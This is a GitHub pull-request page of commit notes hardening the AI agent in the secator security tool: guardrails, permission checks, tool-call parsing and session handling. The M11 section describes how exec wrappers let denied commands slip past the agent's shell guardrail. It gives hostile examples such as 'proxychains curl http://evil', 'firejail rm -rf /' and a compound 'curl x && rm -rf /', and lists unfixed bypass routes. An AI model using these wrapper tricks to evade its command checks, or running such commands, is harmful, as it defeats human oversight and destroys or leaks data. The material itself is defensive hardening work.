- `mode` opt help derived from `MODES.keys()` — single source of truth,
no
drift (`f"Mode: {', '.join(MODES)}"`). `secator/tasks/ai.py:74`
- Imported `MODES` into the task module (DRY; no third hardcoded mode
tuple).
No change to the exploit SAFETY posture — exploit still runs through the
same
`PermissionEngine`/guardrails; only detection + docs changed.
## Exploit prompt is real
`secator/ai/prompts/modes/exploit.txt` is a full 43-line template
(persona =
"exploitation verification specialist", methodology, `add_finding`
exploitation-report flow, `${guardrails}`/`${isolation}` constraints).
`get_system_prompt("exploit", ...)` renders with no leftover
`${include}` or
`$template_var` placeholders (D1's
`$query_types`/`$output_types_reference`
substitution covers exploit too).
## Tests
Added focused tests (`tests/unit/test_ai_task_opts.py`,
`tests/unit/test_ai_prompts.py`):
- LLM `_detect_mode` verdict of `exploit` now sets `self.mode ==
"exploit"`
(previously fell back to chat).
- attack / chat / unknown verdicts unchanged (unknown → chat fallback).
- `get_system_prompt("exploit")` renders clean (no unresolved
placeholders).
- `mode` opt help lists every mode incl. exploit.
Baseline vs after (`test_ai_loop.py test_ai_session.py
test_ai_prompts.py`):
baseline **12 failed / 85 passed** → after **12 failed / 86 passed**.
The 12
failures are identical pre-existing env failures (shfmt/safecmd
sandbox), not
regressions; the +1 pass is the new exploit-render test.
## Related smells (not fixed here)
- `secator/ai/prompts.py:248` — `if mode in ("attack", "exploit"):`
hardcodes
the "uses library reference" set; a new library-using mode would need a
manual edit. Candidate to derive from mode config.
- `secator/tasks/ai.py:66` — class docstring still says "(attack or chat
mode)"; omits exploit.
- `secator/ai/prompts/modes/_selection.txt` hardcodes the three mode
names in
prose — can drift from `MODES` if a mode is added/removed.
🤖 Generated with [Claude Code](https://claude.com/claude-code)
Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
…ss (M11) (#1264) ## Finding — M11 (P1 / Security) C2 made shell guardrail checks wrapper-aware, but `EXEC_WRAPPERS` was a **static, hard-coded set**. Any exec-wrapper not in that set let an attacker launder a denied command — the wrapper was treated as the leaf and its payload never inspected: `proxychains curl http://evil`, `firejail rm -rf /`, `flock /tmp/x curl ...`, `runuser -c 'curl http://evil'`, `script -c '...'` — same bypass class as C2. ## Root cause `secator/ai/guardrails.py:354` `_peel_wrapper` only peeled names in the fixed `EXEC_WRAPPERS` frozenset (`guardrails.py:40`); everything else fell through as `inner[0]` = leaf command. ## Fix - **Broaden `EXEC_WRAPPERS`** with the missing wrappers: `flock`, `runuser`, `su`, `script`, `proxychains`, `proxychains4`, `firejail`, `torsocks`, `torify`, `unshare`, `chrt`, `taskset`, `catchsegv`. - **`_WRAPPER_ARG_GRAMMAR`** — a compact, data-driven table `(opts_taking_a_value, positional_args_before_cmd, cmd_string_opts)` so each wrapper's OWN args are skipped to reach the real leaf, reusing the existing peel loop (no second parser): - value-opts: `proxychains -f cfg`, `flock -w N`, `sudo/runuser/su -u user` - positional operands: `flock <lockfile>`, `su <user>` - `--` end-of-options boundary - `-c '<cmd>'` command strings (`runuser`/`su`/`script`/`flock`) are **re-parsed (shlex) and re-peeled** so the nested payload is checked rather than skipped - **Config-extensible:** `CONFIG.addons.ai.exec_wrappers` (new field, `secator/config.py`) EXTENDS the built-in set — config is additive over the security baseline, never shrinks it. - Preserves C2 behavior for already-covered wrappers (`timeout 60 rm` → `rm`), the interpreter ask-gate (`timeout 60 bash -c ...` keeps `bash` as leaf), and normal commands. ## Tests — `TestWrapperPeelingM11` (19, all pass) - **Proven / shfmt-independent:** all `_peel_wrapper` assertions operate on token lists, and the `_exec_wrappers` config-extension test — no shfmt needed. - **Proven-via-stub:** 3 `check_action` integration tests stub `extract_commands` (same pattern as the existing `TestOutputFlagWrites`), asserting the peeled leaf's deny/ask fires (`proxychains dd` → deny, `flock /tmp/l dd` → deny, `firejail rm -rf /tmp/x` → ask). - **shfmt-gated:** the pre-existing `check_action`-based wrapper tests in `TestDefaultPermissions` require real `shfmt`/`safecmd` and fail environmentally on every branch (safecmd swallows the `FileNotFoundError` → empty parse). Baseline vs after (full `test_ai_guardrails.py`): **57 failed / 94 passed → 57 failed / 113 passed**. Failure set byte-identical (all shfmt-environmental), zero regressions, +19 new passing. ## Residual laundering vectors (flagged, not fixed) - Compound payload after `-c` (`runuser -c 'curl x && rm -rf /'`) — only the first command of the re-parsed string is classified (`guardrails.py` `_peel_wrapper` cmd-string branch). - Arbitrary user shell aliases / functions; `$(...)`/backtick command substitution; `eval`; wrapper binaries under nonstandard names or paths not in the set (config extension is the mitigation). 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
ocervell
changed the title
…1265) Round-2 backlog item #2 from the AI-task review. The permission ask-loop in `actions.py` approved on *any non-`deny` answer* (deny-list shape). Both backends normalize to exactly `allow`/`deny` today, so this is **behavior-neutral now** — but a new backend or a refactored token could slip through the gap. Flips the three prompt sites (shell/target/path) to an explicit allow-list via a small `_is_approved()` helper: only a normalized `allow` proceeds; `None`, `deny`, or any unexpected token denies (fail closed). Tests: `test_ai_actions.py` 75→79 (+4: allow proceeds, deny denies, unexpected token denies, None denies). No regressions. Folds into the aggregate #1241. Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
This was referenced Jul 4, 2026
Merged
… ship shfmt via the ai addon (#1274) ## Problem (hit during CLI testing) In attack mode every shell command the LLM issues hit the guardrail shell parser, which printed: ``` [ERR] Missing ai addon: please run "secator install addons ai". ``` …even though the ai addon **was** installed. `_parse_subcommands` (`guardrails.py`) shells out to `shfmt` via `safecmd`; the misleading message came from its `ImportError` branch. The env had `litellm` (so `ADDONS_ENABLED['ai']=True`) but not `safecmd`/`shfmt` — a partial ai install. Worse, the *other* failure mode (safecmd present, `shfmt` binary not on PATH) was **silent** (`FileNotFoundError` swallowed by `except Exception: return []`). ## Fix 1. **Message** — replace the `Error("Missing ai addon")` with a **one-shot `Warning`** that names the real gap: `"Missing safecmd shell parser"` (ImportError) or `"Missing shfmt binary"` (FileNotFoundError). Both fall back to the **non-shfmt path** — an empty sub-command list, so `_check_action_type` asks the user to approve the whole command (safe, just coarser). Warn once per process (no per-command spam). 2. **Install** — add `shfmt-py` explicitly to the `ai` extra so `secator install addons ai` (`pip install secator[ai]`) always ships the `shfmt` **binary**, not just the `safecmd` Python package (which only pulled it transitively). ## Tests `TestShellParserFallback`: safecmd-missing → `Warning` naming `safecmd`, never `"ai addon"`; shfmt-binary-missing → `Warning` naming `shfmt`; warn-once across multiple commands. Full AI suite: **no new failures** vs branch baseline. Found while testing `ai-testing`; targets `ai-resiliency` (#1241). 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
…chat conversation id (#1272) Two commits, one theme: **`_context.session_id` becomes the single source of truth** for the remote AI chat conversation id. ## 1. `fix(ai): stamp session_id on runner context so remote transcript restores` The remote (web) AI channel is headless — a respawned `ai` task rebuilds the conversation from its `_type:"ai"` Mongo docs, and `restore_history_from_db` + the `RemoteBackend` poll both scope by **`_context.session_id`**. Tool-action docs get that key via `_get_result_context`, but the `prompt`/`response` turns only inherit `_context` from `self.context` (`Runner._process_item` copies it). `self.session_id` was resolved into a local var but **never written back to `self.context`**, so a locally-derived id left the transcript turns unqueryable → resume restored an empty history. It only worked on the platform because the dispatcher supplies `session_id` in the context. **Fix:** write the resolved `session_id` back onto `self.context` in `_init_options` — one line, stamps every persisted item uniformly, idempotent on the platform. Also fixes two pre-existing stale tests (asserted the old top-level query shape) and adds `TestSessionIdStampedOnContext`. ## 2. `refactor(ai): retire top-level Ai.session_id field` With #1 guaranteeing `_context.session_id` on every doc, the top-level `Ai.session_id` field is redundant — it was **write-only** in core and duplicated the id that `restore_history_from_db`, the poll, `_expire_stale_pending`, `poll_steers`, and secator-api all already key on via `_context.session_id`. Removes the field + its 3 constructor writes (resume prompt, turn_completed, remote pending prompt). `ActionContext.session_id` and the `build_pending_prompt`/`ask_user` params (the *working* id) are unchanged. ## Cross-repo (lockstep) - **secator-api `feat/ai-chat` (PR #199)** — updated so `answer_ai_prompt` resolves the pending prompt by `_context.session_id` (was top-level) and the steer doc stops writing a redundant top-level `session_id`. Must merge no later than this. - **secator-ui `feat/ai-chat`** — no change; `getChatTranscript` already queries `_context.session_id`. ## Verification - Full AI unit suite: **no new failures** vs branch baseline (the ~68 remaining are the `shfmt`/`safecmd`-parser env failures common to all branches). - Empirically re-ran a remote turn: `prompt`/`response`/`follow_up` docs all carry `_context.session_id` and **zero** top-level `session_id`; answering via `_context.session_id` (the way updated secator-api does) is picked up by the poll and continues the turn. Part of the AI-task reliability series → `ai-resiliency` (#1241). 🤖 Generated with [Claude Code](https://claude.com/claude-code) --------- Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
…#1273) ## Bug (hit during CLI testing) ``` 🟢Query({"_type": "url", "verified": true}) [ERR] ai Action failed with error: AttributeError: 'str' object has no attribute 'items' File ".../secator/ai/actions.py", line 731, in _handle_query query_filter = _decrypt_dict(query_filter, ctx.encryptor) File ".../secator/ai/actions.py", line 1130, in _decrypt_dict for k, v in d.items() ``` The `query_workspace` tool schema **correctly** declares `query` as `type: object`, but the model returned it as a JSON **string** (`'{"_type":"url","verified":true}'`) — a well-known tool-calling quirk where providers serialize nested object params as strings. `_handle_query` assumed a dict and handed it to `_decrypt_dict`, which does `d.items()` → `AttributeError`. It's caught by `safe_dispatch_action` (so non-fatal — the model retried with `curl`), but it wastes an iteration and **any** model that stringifies object args can never use `query_workspace`. (`_decrypt_dict` only fires when the encryptor is active, i.e. the default `sensitive=True`.) ## Fix - `_handle_query`: if `query` is a `str`, `json.loads` it before decrypt/search. On a non-JSON string or a non-dict, return a clean, LLM-actionable `Error` (`"query must be a JSON object …"`) instead of crashing. Mirrors the existing `add_finding` scalar coercion. - `_decrypt_dict`: no-op backstop on non-dict input. ## Tests `TestHandleQuery`: stringified query is coerced+searched **with the encryptor active** (the exact original crash condition); non-JSON string and non-dict each return one clean `Error`. `TestDecryptDict`: non-dict input returned unchanged. Full AI suite: **no new failures** vs branch baseline. Found while testing `ai-testing`; targets `ai-resiliency` (#1241). 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
…args, + LLM-response fuzz harness (#1275) Makes the agent loop resilient to weird LLM tool-call responses — and adds the harness that proves it. ## The fixes 1. **Coerce stringified object/array args** (`opts`/`query`/`targets`/`choices`/…). Some models serialize nested object params as JSON strings even though the schema says `object`/`array`. A stringified `opts` crashed `_get_action_label` (`'str' has no attribute 'get'`) and silently vanished in `_run_runner`. `coerce_stringified_args()` runs at the tool-call boundary (before decrypt/convert) and `json.loads`-es any such arg once. Malformed values are left as-is for a clean handler error. 2. **Reject non-object arguments** — a model emitting a bare JSON int/array/string (`12345`, `["nmap"]`) made `tool_call_to_action` call `.items()` on a non-dict → `AttributeError` → the top-level catch-all → **whole conversation aborted**. Now rejected cleanly to `None` so the caller feeds an error back and the loop continues. (Surfaced by the harness below.) ## The harness — `tests/unit/test_ai_resilience.py` Fakes the LLM (patches `call_llm`) and drives the **real `_run_loop`** with a battery of weird responses, asserting the invariant: > a malformed response is handled turn-locally and the loop **survives** — it never aborts the session via the top-level `except → Error.from_exception; return` catch-all (monitored precisely), and never raises. Two layers: - **Curated table** — stringified opts/query/targets/choices, wrong-type args, broken JSON, missing fields, unknown tools, empty/huge/no-usage responses. - **Seeded fuzzer** — 200 random malformed `arguments` strings across every tool; deterministic so any failure reproduces. This is the tool that would have caught the stringified-`opts`/`query` crashes *before* they were hit by hand — and it found the non-object-args gap on its first run. ## Tests `TestWeirdToolCalls` + `TestWeirdContentResponses` + `TestMalformedArgFuzzer` (28) all green; `TestCoerceStringifiedArgs` + `tool_call_to_action` non-object guard. Full AI suite: **no new failures** vs branch baseline. Targets `ai-resiliency` (#1241). 🤖 Generated with [Claude Code](https://claude.com/claude-code) --------- Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
…ports (#1216) The MarkdownExporter (run for every AI task report) did `item.content` over `report.data[\"results\"][\"ai\"]`, which holds **serialized dicts**, not `Ai` objects — raising `AttributeError: 'dict' object has no attribute 'content'` and failing the export for all ai-task runs. Fix: read `content` defensively (dict `.get` or object `getattr`). 🤖 Generated with [Claude Code](https://claude.com/claude-code) https://claude.ai/code/session_01P5vSjfkBuGAAHdKxHS3ySm <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **Bug Fixes** * Improved Markdown report generation to handle content more reliably. * The exporter now supports multiple result shapes and skips empty entries, reducing the chance of missing or broken output. <!-- end of auto-generated comment: release notes by coderabbit.ai --> Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
…tryable 400) (#1276) ## Bug (hit during CLI testing, after compaction) ``` [WRN] Chat history trimmed: dropped 10 messages to fit under 100000 tokens. [ERR] LLM call failed with non-retryable 400: ... each tool_use must have a single result. Found multiple `tool_result` blocks with id: toolu_bdrk_01Bi8... ``` Providers fold consecutive `tool` messages into a single user turn and reject more than one `tool_result` per `tool_use` id — a **non-retryable** 400 that aborts the whole run. ## Root cause `_dispatch_and_collect` grouped batch results with `itertools.groupby`, which groups only **consecutive** equal keys. In batch mode (`_run_batch`) results **interleave** by `tool_call_id` (e.g. `[X, Y, X]`), so `groupby` produced *several* groups for one id → `add_tool_result` fired more than once for it → duplicate consecutive `tool` messages → litellm folds them into one user turn with duplicate `tool_result` blocks → 400. History trim/compaction restructures the window the same way (hence the correlation with compaction). ## Fix (source + safety net) 1. **Order-preserving grouping** — group `collected` by an ordered `dict` instead of `groupby`, so each `tool_call_id` yields exactly one result regardless of arrival order (also fixes token accounting for interleaved batches). 2. **`_dedupe_tool_results`** in `_repair_orphan_tool_uses` — within each run of consecutive `tool` messages, keep the first result per id, drop the rest. Runs **proactively** before every LLM call *and* on the **400-repair-retry** path, so the "multiple tool_result blocks" 400 is now repaired + retried instead of failing fast. ## Tests `TestDedupeToolResults` (drop consecutive dup, no-op when unique, per-run scoping, repair integration) + `call_llm` duplicate-400 → repaired-and-retried. Full AI suite: **no new failures** vs branch baseline. Targets `ai-resiliency` (#1241). 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
…by session_id (#1277) ## What / why (PR 2 of the runner-parenting design — core foundation) AI-task-spawned sub-runners (nmap, httpx, subagents, …) run and their **findings** persist, but the sub-runner itself never created its **own** runner doc — so it never appeared in runner history. Root cause: the child inherited the parent ai task's `context.task_id`, so `update_runner`/`runner_id` targeted the *parent's* doc instead of minting a new one. ## Fix `_get_result_context` now builds a **clean child context**: strips the parent's runner-identity keys (`task_id`/`workflow_id`/`scan_id`/`task_chunk_id`), keeps `session_id`/`drivers`/`workspace_*`. Each child now takes `update_runner`'s insert branch → mints its own doc, linked to the conversation by `context.session_id`. ## Verified (empirical) Probe (`secator x ai -p "Run nmap … on scanme.nmap.org" --dangerous -driver mongodb -ws …`): - **Before:** 0 non-ai task docs under the session. - **After:** the `nmap` child persists with its own `_id` (≠ parent), `context.task_id` = its own, `context.session_id` = the conversation, `status=SUCCESS`. ## Tests `TestChildContextParenting` (child context keeps session/drivers/workspace, sets `has_parent`, strips the four identity keys). `test_ai_actions.py` 85/85; no new failures vs branch baseline. ## Not in this PR (design's later phases, go through the user) - **secator-api:** a `GET /ai/conversations/{session_id}/runners` list resolver (unions tasks/workflows/scans by `context.session_id`). - **secator-ui:** group a conversation's runners under it. - **Open decision (API/UI phase):** whether ai children should also carry the *behavioral* top-level `has_parent` (controls whether they show as top-level in the general runner history vs nested). The persisted `has_parent` is currently `false`; parenting-by-`session_id` works regardless. Part of the AI-task reliability series → `ai-resiliency` (#1241). 🤖 Generated with [Claude Code](https://claude.com/claude-code)
…r union) (#1278) ## Why (diagnosed from a live run) Asked "What's in my workspace", the model correctly ran `query_workspace` — then `cd`'d into `~/.secator/reports/.../tasks/18/.outputs/` and `cat | jq`'d local JSON to count finding types. Two causes: 1. **Local-driver gap:** the JSON exporter writes findings to disk only at *end-of-run*, so mid-run `query_workspace` (local backend) sees nothing — the prompt compensated by telling the model where the report files live. 2. **Prompt framing:** "the runner folder … is where we store all inputs/outputs" invited the model to *read* those files to find data — a different, possibly stale store than the workspace it queried (outright wrong under `--driver mongodb`/cloud). ## Fix — Query is the single source of truth - **Local driver only:** `_handle_query` unions the backend results with this run's in-memory findings (`ctx.results`), filtered by the same query and deduped by `_uuid`. **mongodb/api are unchanged** (hooks persist live → no union needed). The local driver is also exempted from the `workspace_id` guard (it can answer from in-memory results). - **Prompt (`common.txt`):** keep "write generated outputs to `$workspace_path/.outputs/`"; drop the "we store all inputs/outputs here" framing; add "ALWAYS use `query_workspace` — the single source of truth; do NOT read local report files to find findings." ## Tests `_union_live_results` (filter+merge+dedup), local-driver unions live results, mongodb does NOT union, local exempt from the workspace guard, and the updated `no_workspace` guard test (now scoped to non-local backends). Full AI suite: no new failures. Targets `ai-resiliency` (#1241). 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
…eritance (PR1 1.b/1.c) (#1279) ## What (PR 1, parts 1.b + 1.c + a subagent-runnability fix) **1.b/1.c — structured, evidence-backed subagent prompt.** When the ai task spawns a subagent, its prompt becomes a **structured** template whose "already known" section is **auto-assembled** from workspace findings for the subagent's target(s), so it doesn't redo work. - `build_subagent_prompt(objective, targets, evidence)` — wraps the LLM-supplied objective (**verbatim**) in `## Objective / ## Scope / ## Already known (do not re-run) / ## Expected output`. - `_gather_subagent_evidence(ctx, targets, limit=40)` — queries the workspace (single source of truth incl. this run's live findings, per #1278) for findings matching the targets; token-bounded; **best-effort** (failure → `""`, never breaks the spawn). - Wired into `_run_runner`'s `name=="ai"` branch. **1.a (permissions) untouched** — out of scope. **Subagent LLM inheritance (fold-in).** E2E testing surfaced that a spawned subagent fell back to `CONFIG.addons.ai.default_model` — a different provider than the parent (anthropic-direct vs openrouter) with no key → `AuthenticationError` before it ran, so **subagents never actually ran**. Fixed: carry the parent's resolved `model`/`api_key`/`api_base` on `ActionContext` and `setdefault` them onto the child opts at spawn (explicit LLM-supplied model still wins). ## Verification - Unit: `TestBuildSubagentPrompt`, `TestGatherSubagentEvidence`, and `TestRunRunner` tests for the structured prompt + LLM inheritance (+ explicit-model-wins). `test_ai_actions.py` **97 passed**; no new failures vs baseline. - **E2E** (live subagent run): subagent runs to **SUCCESS** (no AuthError), receives the structured prompt with **all four sections**, and its spawned nmap **nests** under the conversation via `session_id`. ## Known limitation (accepted, v1) The `$or` host/ip/url evidence match is exact — `matched_at`-only findings on URL-only targets aren't gathered yet (deliberate follow-up). Part of the AI-task series → `ai-resiliency` (#1241). 🤖 Generated with [Claude Code](https://claude.com/claude-code) --------- Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
…ackend) (#1280) ## Bug ``` 🟢Query({'_type': 'ip', 'host': 'cachyos.local'}) -> failed results (limit: 10) [ERR] ai TypeError: '>=' not supported between instances of 'int' and 'str' File ".../query/json.py", line 182, in _execute_search if limit and len(matched) >= limit: ``` The model sent `query_workspace`'s `limit` as a **string** (`"10"`); it reached the backend and broke the `>=` comparison. Same "model stringifies args" class as #1275, but `coerce_stringified_args` only handles object/array params — not scalar ints like `limit`. ## Fix Coerce `limit` to `int` in `_handle_query`; bad/None values fall back to the default (100). ## Tests Stringified `"10"` → `10` reaches the backend; a non-numeric limit falls back to 100. `test_ai_actions.py` 99 passed; the original crash reproduces as resolved. Targets `ai-resiliency` (#1241). 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
This was referenced Jul 5, 2026
ChatHistory.trim() fed self.messages straight to litellm's trim_messages, whose shorten-to-fit path does len(msg["content"]) — which raises "TypeError: object of type 'NoneType' has no len()" for an assistant turn carrying only tool_calls (content=None), killing the AI loop. Coerce None content to "" before trimming (equivalent for the LLM, safe for len()) and wrap the trim in a guard so any trimmer failure degrades to untrimmed history (handled downstream by the context_length_exceeded 400-repair) instead of crashing. Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01NNjPggRSVZ2xnLb7ZxWP5H
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
1 participant
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
AI-task reliability / robustness / security hardening — the full remediation of the
2026-06-30 deep review (
docs/superpowers/specs/2026-06-30-ai-task-reliability-review.md).27 / 29 findings fixed, one focused PR per finding, merged here across 7 rounds.
H8 excluded (overlaps
feat/sensitive-options); H3 deferred to a design decision (event-drivenhuman-wait — see the review doc's H3 proposal).
🔴 Critical
dangerous=False)celery_ididempotency marker; redelivery no longer replays/re-bills a turn🟠 High
rm -rf /*-class destructive-command denyprompt_uuid(no stale auto-approve)🟡 Medium
usageis absentadd_findingtypes (block injected trusted-target minting)curl -o/wget -Ooutput paths as writesallow_allgrants real session-wide scope vs a one-shot allow🔵 Pertinence / cleanup
run_queryexampleexploitmode; wire + document itACTION_TOOL_MAP, orphan_maybe_encrypt, dead render branch)Every PR added focused tests and proved no regression against a git-stash baseline (guardrail
tests needing
shfmt/safecmdfail identically on base — CI is the arbiter). ~20 follow-upitems the agents surfaced are ranked in the review doc's "round-2 candidates" backlog — the
standout being the
permission_engine-unset full bypass (candidate Critical).